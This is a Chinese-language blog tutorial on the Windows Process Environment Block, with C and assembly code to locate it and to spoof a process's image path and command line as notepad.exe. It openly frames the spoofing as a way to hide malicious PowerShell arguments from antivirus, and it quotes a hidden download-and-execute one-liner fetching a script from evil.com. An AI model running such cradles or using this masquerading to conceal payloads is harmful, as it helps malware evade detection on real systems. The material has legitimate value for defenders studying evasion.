PEB操作

2025-11-13 86 11/13

PEB操作

一、PEB介绍

  • PEB进程环境块:WIndows 操作系统为每个运行中的进程分配的一个内部数据结构,在用户态Ring3层。

  • 核心作用:存储操作系统(如系统加载器ntdll.dll)在用户态需要频繁访问进程级的全局信息,避免频繁陷入内核态(Ring 0)造成的性能开销

  • 寻址:通过当前线程的TEB关联寻找,x86使用FS寄存器,x64使用GS寄存器。

    x86 (32位) 环境FS 寄存器指向当前线程的 TEB。TEB 的偏移 0x30 处,存着 PEB 的指针。

    x64 (64位) 环境GS 寄存器指向当前线程的 TEB。TEB 的偏移 0x60 处,存着 PEB 的指针。

PEB定位

C语言

#include <windows.h>
#include <winternl.h> // 需要包含此头文件以获取 PPEB 定义
#include <stdio.h>

int main() {
    PPEB pPeb = NULL;

    // 自适应架构
#ifdef _WIN64
    // x64: 读取 GS 寄存器偏移 0x60 的位置
    pPeb = (PPEB)__readgsqword(0x60);
#else
    // x86: 读取 FS 寄存器偏移 0x30 的位置
    pPeb = (PPEB)__readfsdword(0x30);
#endif

    if (pPeb != NULL) {
        printf("[+] 成功定位 PEB,基址: 0x%p\n", pPeb);
    }
    system("pause"); 
    return 0;
}
gcc -o PEBDW.exe PEBDW.c

PEB操作

x64汇编

BITS 64 ; 声明代码为64位汇编,默认为32位
SECTION .text   ; 代码段
global main ; 声明main为全局符号,让链接器能找到入口
main:   ; 程序入口标签

sub rsp,0x28    ; 栈对齐+影子空间
and rsp,0xFFFFFFFFFFFFFFF0  ; 强制将RSP对齐到16字节边界
; 获取PEB地址
xor rcx,rcx ; 将RCX异或清零
mov rax,[gs:0x60]   ; 读取PEB地址,gs段寄存器:x64 Windows中,gs:[0]指向TEB(线程环境块),TEB+0x60指向PEB;[gs:0x60],直接获取PEB的内存地址,存入RAX

二、Parameters 参数操作

如果我们直接在一个cmd/powershell进程中执行了一个恶意载荷命令,如powershell.exe -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')"

这样可能立即被杀软发现并拦截,所以接下来引出的技术就是我们先利用powershell.exe -help起一个进程,然后修改PEB里的RTL_USER_PROCESS_PARAMETERS,把真实的恶意参数写进入,然后再恢复线程执行。

我们先了解Parameters的结构体

typedef struct _RTL_USER_PROCESS_PARAMETERS {
    BYTE           Reserved1[16];  // 保留字段,偏移0x00
    PVOID          Reserved2[10];  // 保留字段,偏移0x10
    UNICODE_STRING ImagePathName;  // 进程路径,偏移0x38
    UNICODE_STRING CommandLine;    // 命令行参数,偏移0x48
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;

命令行欺骗

我们再了解一下参数在内存中如何定位

首先是 TEB(FS:[0] (x86) / GS:[0] (x64)指向),PEB(FS:[0x30] (x86) / GS:[0x60] (x64)指向), ProcessParameters 指针 (PEB偏移0x20处)

我们如果在自己进程内获取这个结构代码很简单

#include <windows.h>
#include <winternl.h>
#include <stdio.h>

int main() {
    // 获取 PEB 基址
#ifdef _WIN64
    PPEB pPeb = (PPEB)__readgsqword(0x60);
#else
    PPEB pPeb = (PPEB)__readfsdword(0x30);
#endif
    // 获取 ProcessParameters
    PRTL_USER_PROCESS_PARAMETERS pParams = (PRTL_USER_PROCESS_PARAMETERS)pPeb->ProcessParameters;
    // 打印
    wprintf(L"进程镜像路径: %s\n", pParams->ImagePathName.Buffer);
    wprintf(L"当前命令行参数: %s\n", pParams->CommandLine.Buffer);
    system("pause");
    return 0;
}

PEB操作

#include <windows.h>
#include <winternl.h>
#include <stdio.h>

int main() {
    PPEB pPeb;
    PRTL_USER_PROCESS_PARAMETERS pParams;
    DWORD oldProtect;

    // 1. 获取 PEB 基址
#ifdef _WIN64
    pPeb = (PPEB)__readgsqword(0x60);
#else
    pPeb = (PPEB)__readfsdword(0x30);
#endif

    // 2. 获取 ProcessParameters
    pParams = pPeb->ProcessParameters;

    wprintf(L"[+] 修改前路径: %s\n", pParams->ImagePathName.Buffer);
    wprintf(L"[+] 修改前命令行: %s\n", pParams->CommandLine.Buffer);

    // 3. 定义伪装目标 (使用静态或全局空间,确保在进程运行期间有效)
    static WCHAR fakeImagePath[] = L"C:\\Windows\\System32\\notepad.exe";
    static WCHAR fakeCommandLine[] = L"\"C:\\Windows\\System32\\notepad.exe\"";

    // 4. 修改内存保护属性
    // 注意:winternl.h 里的 RTL_USER_PROCESS_PARAMETERS 结构体很大
    // 我们直接修改整个结构体所在区域的保护属性
    if (!VirtualProtect(pParams, sizeof(RTL_USER_PROCESS_PARAMETERS), PAGE_READWRITE, &oldProtect)) {
        printf("[-] VirtualProtect 失败: %lu\n", GetLastError());
        return 1;
    }

    // 5. 执行伪装
    // 修改 Buffer 指针指向我们的伪装字符串
    pParams->ImagePathName.Buffer = fakeImagePath;
    pParams->ImagePathName.Length = wcslen(fakeImagePath) * sizeof(WCHAR);
    pParams->ImagePathName.MaximumLength = (wcslen(fakeImagePath) + 1) * sizeof(WCHAR);

    pParams->CommandLine.Buffer = fakeCommandLine;
    pParams->CommandLine.Length = wcslen(fakeCommandLine) * sizeof(WCHAR);
    pParams->CommandLine.MaximumLength = (wcslen(fakeCommandLine) + 1) * sizeof(WCHAR);

    // 6. 恢复内存保护属性
    VirtualProtect(pParams, sizeof(RTL_USER_PROCESS_PARAMETERS), oldProtect, &oldProtect);

    wprintf(L"\n[!] 伪装成功!\n");
    wprintf(L"[+] 修改后路径: %s\n", pParams->ImagePathName.Buffer);
    wprintf(L"[+] 修改后命令行: %s\n", pParams->CommandLine.Buffer);

    printf("\n[i] 现在请保持此窗口开启,在任务管理器或 Process Explorer 中查看此进程信息。\n");
    system("pause");

    return 0;
}
gcc main.c -o spoof.exe -lntdll -m64

PEB操作

PEB操作

- THE END -
0

非特殊说明,本博所有文章均为博主原创。

共有 0 条评论